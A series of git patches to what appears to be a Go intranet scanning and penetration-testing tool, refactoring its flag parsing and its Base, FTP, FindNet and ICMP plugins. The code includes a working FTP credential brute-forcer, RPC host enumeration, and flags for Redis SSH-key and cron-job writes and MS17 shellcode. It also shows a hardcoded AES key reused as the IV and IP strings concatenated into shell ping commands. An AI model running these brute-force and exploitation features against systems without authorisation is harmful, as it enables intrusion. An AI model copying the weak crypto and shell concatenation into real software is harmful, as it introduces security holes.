"在默认用户列表基础上添加用户,-usera user") + flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") + flag.StringVar(&Username, "user", "", "用户名") + flag.StringVar(&Password, "pwd", "", "密码") + flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") + flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") + + // 扫描配置 + flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") + flag.IntVar(&Threads, "t", 600, "线程数量") + flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") + flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") + flag.BoolVar(&NoPing, "np", false, "禁用存活探测") + flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") + flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") + + // 文件配置 + flag.StringVar(&HostFile, "hf", "", "主机列表文件") + flag.StringVar(&Userfile, "userf", "", "用户名字典") + flag.StringVar(&Passfile, "pwdf", "", "密码字典") + flag.StringVar(&Hashfile, "hashf", "", "Hash字典") + flag.StringVar(&PortFile, "portf", "", "端口列表文件") + + // Web配置 + flag.StringVar(&URL, "u", "", "目标URL") + flag.StringVar(&UrlFile, "uf", "", "URL列表文件") + flag.StringVar(&Cookie, "cookie", "", "设置Cookie") + flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") + flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") + flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") + + // POC配置 + flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") + flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") + flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") + flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") + flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") + flag.IntVar(&PocNum, "num", 20, "POC并发数") + + // Redis利用配置 + flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") + flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") + flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") + + // 暴力破解配置 + flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") + flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") + + // 其他配置 + flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") + flag.StringVar(&Hash, "hash", "", "Hash值") + flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") + flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") + + // 输出配置 + flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") + flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") + flag.BoolVar(&Silent, "silent", false, "静默扫描模式") + flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") + flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") + flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") + flag.Parse() } From 8d5806e4567e55c8c1bdbb133bb06b2831ea0414 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:38:24 +0800 Subject: [PATCH 17/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Base.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Base.go | 134 ++++++++++++++++++++++++++++++++---------------- 1 file changed, 89 insertions(+), 45 deletions(-) diff --git a/Plugins/Base.go b/Plugins/Base.go index 7fc38a9..20fa91a 100644 --- a/Plugins/Base.go +++ b/Plugins/Base.go @@ -5,79 +5,123 @@ import ( "crypto/aes" "crypto/cipher" "encoding/base64" + "errors" + "fmt" "net" ) -func ReadBytes(conn net.Conn) (result []byte, err error) { - size := 4096 +// ReadBytes 从连接读取数据直到EOF或错误 +func ReadBytes(conn net.Conn) ([]byte, error) { + size := 4096 // 缓冲区大小 buf := make([]byte, size) + var result []byte + var lastErr error + + // 循环读取数据 for { count, err := conn.Read(buf) if err != nil { + lastErr = err break } + result = append(result, buf[0:count]...) + + // 如果读取的数据小于缓冲区,说明已经读完 if count < size { break } } + + // 如果读到了数据,则忽略错误 if len(result) > 0 { - err = nil + return result, nil } - return result, err + + return result, lastErr } +// 默认AES加密密钥 var key = "0123456789abcdef" -func AesEncrypt(orig string, key string) string { - // 转成字节数组 +// AesEncrypt 使用AES-CBC模式加密字符串 +func AesEncrypt(orig string, key string) (string, error) { + // 转为字节数组 origData := []byte(orig) - k := []byte(key) - // 分组秘钥 - // NewCipher该函数限制了输入k的长度必须为16, 24或者32 - block, _ := aes.NewCipher(k) - // 获取秘钥块的长度 + keyBytes := []byte(key) + + // 创建加密块,要求密钥长度必须为16/24/32字节 + block, err := aes.NewCipher(keyBytes) + if err != nil { + return "", fmt.Errorf("创建加密块失败: %v", err) + } + + // 获取块大小并填充数据 blockSize := block.BlockSize() - // 补全码 origData = PKCS7Padding(origData, blockSize) - // 加密模式 - blockMode := cipher.NewCBCEncrypter(block, k[:blockSize]) - // 创建数组 - cryted := make([]byte, len(origData)) - // 加密 - blockMode.CryptBlocks(cryted, origData) - return base64.StdEncoding.EncodeToString(cryted) + + // 创建CBC加密模式 + blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize]) + + // 加密数据 + encrypted := make([]byte, len(origData)) + blockMode.CryptBlocks(encrypted, origData) + + // base64编码 + return base64.StdEncoding.EncodeToString(encrypted), nil } -func AesDecrypt(cryted string, key string) string { - // 转成字节数组 - crytedByte, _ := base64.StdEncoding.DecodeString(cryted) - k := []byte(key) - // 分组秘钥 - block, _ := aes.NewCipher(k) - // 获取秘钥块的长度 + +// AesDecrypt 使用AES-CBC模式解密字符串 +func AesDecrypt(crypted string, key string) (string, error) { + // base64解码 + cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) + if err != nil { + return "", fmt.Errorf("base64解码失败: %v", err) + } + + keyBytes := []byte(key) + + // 创建解密块 + block, err := aes.NewCipher(keyBytes) + if err != nil { + return "", fmt.Errorf("创建解密块失败: %v", err) + } + + // 创建CBC解密模式 blockSize := block.BlockSize() - // 加密模式 - blockMode := cipher.NewCBCDecrypter(block, k[:blockSize]) - // 创建数组 - orig := make([]byte, len(crytedByte)) - // 解密 - blockMode.CryptBlocks(orig, crytedByte) - // 去补全码 - orig = PKCS7UnPadding(orig) - return string(orig) + blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize]) + + // 解密数据 + origData := make([]byte, len(cryptedBytes)) + blockMode.CryptBlocks(origData, cryptedBytes) + + // 去除填充 + origData, err = PKCS7UnPadding(origData) + if err != nil { + return "", fmt.Errorf("去除PKCS7填充失败: %v", err) + } + + return string(origData), nil } -// 补码 -// AES加密数据块分组长度必须为128bit(byte[16]),密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。 -func PKCS7Padding(ciphertext []byte, blocksize int) []byte { - padding := blocksize - len(ciphertext)%blocksize +// PKCS7Padding 对数据进行PKCS7填充 +func PKCS7Padding(data []byte, blockSize int) []byte { + padding := blockSize - len(data)%blockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) - return append(ciphertext, padtext...) + return append(data, padtext...) } -// 去码 -func PKCS7UnPadding(origData []byte) []byte { - length := len(origData) - unpadding := int(origData[length-1]) - return origData[:(length - unpadding)] +// PKCS7UnPadding 去除PKCS7填充 +func PKCS7UnPadding(data []byte) ([]byte, error) { + length := len(data) + if length == 0 { + return nil, errors.New("数据长度为0") + } + + padding := int(data[length-1]) + if padding > length { + return nil, errors.New("填充长度无效") + } + + return data[:length-padding], nil } From 5ad4c1a580661f8137aafece616e76007ace67ef Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:38:49 +0800 Subject: [PATCH 18/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96FTP.go=E7=9A=84?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8=E9=87=8A?= =?UTF-8?q?=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FTP.go | 93 ++++++++++++++++++++++++++++---------------------- 1 file changed, 53 insertions(+), 40 deletions(-) diff --git a/Plugins/FTP.go b/Plugins/FTP.go index b973458..8758a5d 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -9,72 +9,85 @@ import ( "time" ) +// FtpScan 执行FTP服务扫描 func FtpScan(info *Config.HostInfo) (tmperr error) { + // 如果已开启暴力破解则直接返回 if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试匿名登录 flag, err := FtpConn(info, "anonymous", "") if flag && err == nil { return err - } else { - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } + } + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) + Common.LogError(errlog) + tmperr = err + if Common.CheckErrs(err) { + return err } + // 尝试用户名密码组合 for _, user := range Common.Userdict["ftp"] { for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + flag, err := FtpConn(info, user, pass) if flag && err == nil { return err - } else { - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) { - return err - } + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) { + return err } } } return tmperr } +// FtpConn 建立FTP连接并尝试登录 func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass + + // 建立FTP连接 conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second) - if err == nil { - err = conn.Login(Username, Password) - if err == nil { - flag = true - result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) - dirs, err := conn.List("") - //defer conn.Logout() - if err == nil { - if len(dirs) > 0 { - for i := 0; i < len(dirs); i++ { - if len(dirs[i].Name) > 50 { - result += "\n [->]" + dirs[i].Name[:50] - } else { - result += "\n [->]" + dirs[i].Name - } - if i == 5 { - break - } - } - } + if err != nil { + return false, err + } + + // 尝试登录 + if err = conn.Login(Username, Password); err != nil { + return false, err + } + + // 登录成功,获取目录信息 + result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) + dirs, err := conn.List("") + if err == nil && len(dirs) > 0 { + // 最多显示前6个目录 + for i := 0; i < len(dirs) && i < 6; i++ { + name := dirs[i].Name + if len(name) > 50 { + name = name[:50] } - Common.LogSuccess(result) + result += "\n [->]" + name } } - return flag, err + + Common.LogSuccess(result) + return true, nil } From 23fea2c2903794fb1b4da788ef574b0ecc112859 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:13 +0800 Subject: [PATCH 19/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96FindNet.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FindNet.go | 140 ++++++++++++++++++++++++++++----------------- 1 file changed, 89 insertions(+), 51 deletions(-) diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 13da7b3..bc58c84 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -12,113 +12,151 @@ import ( ) var ( + // RPC请求数据包 bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") bufferV3, _ = hex.DecodeString("0900ffff0000") ) +// Findnet 探测Windows网络主机信息的入口函数 func Findnet(info *Config.HostInfo) error { - err := FindnetScan(info) - return err + return FindnetScan(info) } +// FindnetScan 通过RPC协议扫描网络主机信息 func FindnetScan(info *Config.HostInfo) error { - realhost := fmt.Sprintf("%s:%v", info.Host, 135) - conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) + // 连接目标RPC端口 + target := fmt.Sprintf("%s:%v", info.Host, 135) + conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) if err != nil { - return err + return fmt.Errorf("连接RPC端口失败: %v", err) } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { - return err + + // 设置连接超时 + if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return fmt.Errorf("设置超时失败: %v", err) } - _, err = conn.Write(bufferV1) - if err != nil { - return err + + // 发送第一个RPC请求 + if _, err = conn.Write(bufferV1); err != nil { + return fmt.Errorf("发送RPC请求1失败: %v", err) } + + // 读取响应 reply := make([]byte, 4096) - _, err = conn.Read(reply) - if err != nil { - return err + if _, err = conn.Read(reply); err != nil { + return fmt.Errorf("读取RPC响应1失败: %v", err) } - _, err = conn.Write(bufferV2) - if err != nil { - return err + + // 发送第二个RPC请求 + if _, err = conn.Write(bufferV2); err != nil { + return fmt.Errorf("发送RPC请求2失败: %v", err) } - if n, err := conn.Read(reply); err != nil || n < 42 { - return err + + // 读取并检查响应 + n, err := conn.Read(reply) + if err != nil || n < 42 { + return fmt.Errorf("读取RPC响应2失败: %v", err) } + + // 解析响应数据 text := reply[42:] - flag := true + found := false for i := 0; i < len(text)-5; i++ { if bytes.Equal(text[i:i+6], bufferV3) { text = text[:i-4] - flag = false + found = true break } } - if flag { - return err + + if !found { + return fmt.Errorf("未找到有效的响应标记") } - err = read(text, info.Host) - return err + + // 解析主机信息 + return read(text, info.Host) } +// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串 func HexUnicodeStringToString(src string) string { - sText := "" + // 确保输入长度是4的倍数 if len(src)%4 != 0 { src += src[:len(src)-len(src)%4] } - for i := 0; i < len(src); i = i + 4 { - sText += "\\u" + src[i+2:i+4] + src[i:i+2] + + // 转换为标准Unicode格式 + var sText string + for i := 0; i < len(src); i += 4 { + sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序 } - textUnquoted := sText - sUnicodev := strings.Split(textUnquoted, "\\u") - var context string - for _, v := range sUnicodev { - if len(v) < 1 { + // 解析每个Unicode字符 + unicodeChars := strings.Split(sText, "\\u") + var result string + + for _, char := range unicodeChars { + // 跳过空字符 + if len(char) < 1 { continue } - temp, err := strconv.ParseInt(v, 16, 32) + + // 将16进制转换为整数 + codePoint, err := strconv.ParseInt(char, 16, 32) if err != nil { return "" } - context += fmt.Sprintf("%c", temp) + + // 转换为实际字符 + result += fmt.Sprintf("%c", codePoint) } - return context + + return result } +// read 解析并显示主机网络信息 func read(text []byte, host string) error { + // 将原始数据转换为16进制字符串 encodedStr := hex.EncodeToString(text) - hn := "" - for i := 0; i < len(encodedStr)-4; i = i + 4 { + // 解析主机名 + var hostName string + for i := 0; i < len(encodedStr)-4; i += 4 { if encodedStr[i:i+4] == "0000" { break } - hn += encodedStr[i : i+4] + hostName += encodedStr[i : i+4] } - var name string - name = HexUnicodeStringToString(hn) + // 转换主机名为可读字符串 + name := HexUnicodeStringToString(hostName) - hostnames := strings.Replace(encodedStr, "0700", "", -1) - hostname := strings.Split(hostnames, "000000") - result := "[*] NetInfo \n[*]" + host + // 解析网络信息 + netInfo := strings.Replace(encodedStr, "0700", "", -1) + hosts := strings.Split(netInfo, "000000") + hosts = hosts[1:] // 跳过第一个空元素 + + // 构造输出结果 + result := fmt.Sprintf("[*] NetInfo\n[*] %s", host) if name != "" { - result += "\n [->]" + name + result += fmt.Sprintf("\n [->] %s", name) } - hostname = hostname[1:] - for i := 0; i < len(hostname); i++ { - hostname[i] = strings.Replace(hostname[i], "00", "", -1) - host, err := hex.DecodeString(hostname[i]) + + // 解析每个网络主机信息 + for _, h := range hosts { + // 移除填充字节 + h = strings.Replace(h, "00", "", -1) + + // 解码主机信息 + hostInfo, err := hex.DecodeString(h) if err != nil { - return err + return fmt.Errorf("解码主机信息失败: %v", err) } - result += "\n [->]" + string(host) + result += fmt.Sprintf("\n [->] %s", string(hostInfo)) } + + // 输出结果 Common.LogSuccess(result) return nil } From 59e5b88600e1a7c714c0b27acaff5b613049957d Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:18 +0800 Subject: [PATCH 20/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96ICMP.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/ICMP.go | 349 ++++++++++++++++++++++++++++++------------------ 1 file changed, 221 insertions(+), 128 deletions(-) diff --git a/Plugins/ICMP.go b/Plugins/ICMP.go index 240228b..4648e5b 100644 --- a/Plugins/ICMP.go +++ b/Plugins/ICMP.go @@ -14,88 +14,118 @@ import ( ) var ( - AliveHosts []string - ExistHosts = make(map[string]struct{}) - livewg sync.WaitGroup + AliveHosts []string // 存活主机列表 + ExistHosts = make(map[string]struct{}) // 已发现主机记录 + livewg sync.WaitGroup // 存活检测等待组 ) +// CheckLive 检测主机存活状态 func CheckLive(hostslist []string, Ping bool) []string { + // 创建主机通道 chanHosts := make(chan string, len(hostslist)) - go func() { - for ip := range chanHosts { - if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { - ExistHosts[ip] = struct{}{} - if Common.Silent == false { - if Ping == false { - fmt.Printf("(icmp) Target %-15s is alive\n", ip) - } else { - fmt.Printf("(ping) Target %-15s is alive\n", ip) - } - } - AliveHosts = append(AliveHosts, ip) - } - livewg.Done() - } - }() - if Ping == true { - //使用ping探测 + // 处理存活主机 + go handleAliveHosts(chanHosts, hostslist, Ping) + + // 根据Ping参数选择检测方式 + if Ping { + // 使用ping方式探测 RunPing(hostslist, chanHosts) } else { - //优先尝试监听本地icmp,批量探测 - conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") - if err == nil { - RunIcmp1(hostslist, conn, chanHosts) - } else { - Common.LogError(err) - //尝试无监听icmp探测 - fmt.Println("trying RunIcmp2") - conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) - defer func() { - if conn != nil { - conn.Close() - } - }() - if err == nil { - RunIcmp2(hostslist, chanHosts) - } else { - Common.LogError(err) - //使用ping探测 - fmt.Println("The current user permissions unable to send icmp packets") - fmt.Println("start ping") - RunPing(hostslist, chanHosts) - } - } + probeWithICMP(hostslist, chanHosts) } + // 等待所有检测完成 livewg.Wait() close(chanHosts) - if len(hostslist) > 1000 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) - for i := 0; i < len(arrTop); i++ { - output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i]) - Common.LogSuccess(output) - } - } - if len(hostslist) > 256 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) - for i := 0; i < len(arrTop); i++ { - output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i]) - Common.LogSuccess(output) - } - } + // 输出存活统计信息 + printAliveStats(hostslist) return AliveHosts } +// handleAliveHosts 处理存活主机信息 +func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) { + for ip := range chanHosts { + if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { + ExistHosts[ip] = struct{}{} + + // 输出存活信息 + if !Common.Silent { + protocol := "ICMP" + if isPing { + protocol = "PING" + } + fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol) + } + + AliveHosts = append(AliveHosts, ip) + } + livewg.Done() + } +} + +// probeWithICMP 使用ICMP方式探测 +func probeWithICMP(hostslist []string, chanHosts chan string) { + // 尝试监听本地ICMP + conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") + if err == nil { + RunIcmp1(hostslist, conn, chanHosts) + return + } + + Common.LogError(err) + fmt.Println("[-] 正在尝试无监听ICMP探测...") + + // 尝试无监听ICMP探测 + conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) + if err == nil { + defer conn2.Close() + RunIcmp2(hostslist, chanHosts) + return + } + + Common.LogError(err) + fmt.Println("[-] 当前用户权限不足,无法发送ICMP包") + fmt.Println("[*] 切换为PING方式探测...") + + // 降级使用ping探测 + RunPing(hostslist, chanHosts) +} + +// printAliveStats 打印存活统计信息 +func printAliveStats(hostslist []string) { + // 大规模扫描时输出 /16 网段统计 + if len(hostslist) > 1000 { + arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) + for i := 0; i < len(arrTop); i++ { + output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i]) + Common.LogSuccess(output) + } + } + + // 输出 /24 网段统计 + if len(hostslist) > 256 { + arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) + for i := 0; i < len(arrTop); i++ { + output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i]) + Common.LogSuccess(output) + } + } +} + +// RunIcmp1 使用ICMP批量探测主机存活(监听模式) func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) { endflag := false + + // 启动监听协程 go func() { for { - if endflag == true { + if endflag { return } + // 接收ICMP响应 msg := make([]byte, 100) _, sourceIP, _ := conn.ReadFrom(msg) if sourceIP != nil { @@ -105,71 +135,93 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) } }() + // 发送ICMP请求 for _, host := range hostslist { dst, _ := net.ResolveIPAddr("ip", host) IcmpByte := makemsg(host) conn.WriteTo(IcmpByte, dst) } - //根据hosts数量修改icmp监听时间 + + // 等待响应 start := time.Now() for { + // 所有主机都已响应则退出 if len(AliveHosts) == len(hostslist) { break } + + // 根据主机数量设置超时时间 since := time.Since(start) - var wait time.Duration - switch { - case len(hostslist) <= 256: + wait := time.Second * 6 + if len(hostslist) <= 256 { wait = time.Second * 3 - default: - wait = time.Second * 6 } + if since > wait { break } } + endflag = true conn.Close() } +// RunIcmp2 使用ICMP并发探测主机存活(无监听模式) func RunIcmp2(hostslist []string, chanHosts chan string) { + // 控制并发数 num := 1000 if len(hostslist) < num { num = len(hostslist) } + var wg sync.WaitGroup limiter := make(chan struct{}, num) + + // 并发探测 for _, host := range hostslist { wg.Add(1) limiter <- struct{}{} + go func(host string) { + defer func() { + <-limiter + wg.Done() + }() + if icmpalive(host) { livewg.Add(1) chanHosts <- host } - <-limiter - wg.Done() }(host) } + wg.Wait() close(limiter) } +// icmpalive 检测主机ICMP是否存活 func icmpalive(host string) bool { startTime := time.Now() + + // 建立ICMP连接 conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second) if err != nil { return false } defer conn.Close() + + // 设置超时时间 if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil { return false } + + // 构造并发送ICMP请求 msg := makemsg(host) if _, err := conn.Write(msg); err != nil { return false } + // 接收ICMP响应 receive := make([]byte, 60) if _, err := conn.Read(receive); err != nil { return false @@ -178,133 +230,174 @@ func icmpalive(host string) bool { return true } +// RunPing 使用系统Ping命令并发探测主机存活 func RunPing(hostslist []string, chanHosts chan string) { var wg sync.WaitGroup + // 限制并发数为50 limiter := make(chan struct{}, 50) + + // 并发探测 for _, host := range hostslist { wg.Add(1) limiter <- struct{}{} + go func(host string) { + defer func() { + <-limiter + wg.Done() + }() + if ExecCommandPing(host) { livewg.Add(1) chanHosts <- host } - <-limiter - wg.Done() }(host) } + wg.Wait() } +// ExecCommandPing 执行系统Ping命令检测主机存活 func ExecCommandPing(ip string) bool { var command *exec.Cmd + + // 根据操作系统选择不同的ping命令 switch runtime.GOOS { case "windows": - command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" + command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") case "darwin": - command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" - default: //linux - command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" + command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") + default: // linux + command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") } - outinfo := bytes.Buffer{} + + // 捕获命令输出 + var outinfo bytes.Buffer command.Stdout = &outinfo - err := command.Start() - if err != nil { + + // 执行命令 + if err := command.Start(); err != nil { return false } - if err = command.Wait(); err != nil { + + if err := command.Wait(); err != nil { return false - } else { - if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 { - return true - } else { - return false - } } + + // 分析输出结果 + output := outinfo.String() + return strings.Contains(output, "true") && strings.Count(output, ip) > 2 } +// makemsg 构造ICMP echo请求消息 func makemsg(host string) []byte { msg := make([]byte, 40) + + // 获取标识符 id0, id1 := genIdentifier(host) - msg[0] = 8 - msg[1] = 0 - msg[2] = 0 - msg[3] = 0 - msg[4], msg[5] = id0, id1 - msg[6], msg[7] = genSequence(1) + + // 设置ICMP头部 + msg[0] = 8 // Type: Echo Request + msg[1] = 0 // Code: 0 + msg[2] = 0 // Checksum高位(待计算) + msg[3] = 0 // Checksum低位(待计算) + msg[4], msg[5] = id0, id1 // Identifier + msg[6], msg[7] = genSequence(1) // Sequence Number + + // 计算校验和 check := checkSum(msg[0:40]) - msg[2] = byte(check >> 8) - msg[3] = byte(check & 255) + msg[2] = byte(check >> 8) // 设置校验和高位 + msg[3] = byte(check & 255) // 设置校验和低位 + return msg } +// checkSum 计算ICMP校验和 func checkSum(msg []byte) uint16 { sum := 0 length := len(msg) + + // 按16位累加 for i := 0; i < length-1; i += 2 { sum += int(msg[i])*256 + int(msg[i+1]) } + + // 处理奇数长度情况 if length%2 == 1 { sum += int(msg[length-1]) * 256 } + + // 将高16位加到低16位 sum = (sum >> 16) + (sum & 0xffff) sum = sum + (sum >> 16) - answer := uint16(^sum) - return answer + + // 取反得到校验和 + return uint16(^sum) } +// genSequence 生成ICMP序列号 func genSequence(v int16) (byte, byte) { - ret1 := byte(v >> 8) - ret2 := byte(v & 255) + ret1 := byte(v >> 8) // 高8位 + ret2 := byte(v & 255) // 低8位 return ret1, ret2 } +// genIdentifier 根据主机地址生成标识符 func genIdentifier(host string) (byte, byte) { - return host[0], host[1] + return host[0], host[1] // 使用主机地址前两个字节 } +// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果 func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) { if len(arrInit) == 0 { return } - arrMap1 := make(map[string]int) - arrMap2 := make(map[string]int) - for _, value := range arrInit { - line := strings.Split(value, ".") - if len(line) == 4 { - if flag { - value = fmt.Sprintf("%s.%s", line[0], line[1]) - } else { - value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2]) - } + + // 统计各网段出现次数 + segmentCounts := make(map[string]int) + for _, ip := range arrInit { + segments := strings.Split(ip, ".") + if len(segments) != 4 { + continue } - if arrMap1[value] != 0 { - arrMap1[value]++ + + // 根据flag确定统计B段还是C段 + var segment string + if flag { + segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段 } else { - arrMap1[value] = 1 + segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段 } - } - for k, v := range arrMap1 { - arrMap2[k] = v + + segmentCounts[segment]++ } - i := 0 - for range arrMap1 { - var maxCountKey string - var maxCountVal = 0 - for key, val := range arrMap2 { - if val > maxCountVal { - maxCountVal = val - maxCountKey = key + // 创建副本用于排序 + sortMap := make(map[string]int) + for k, 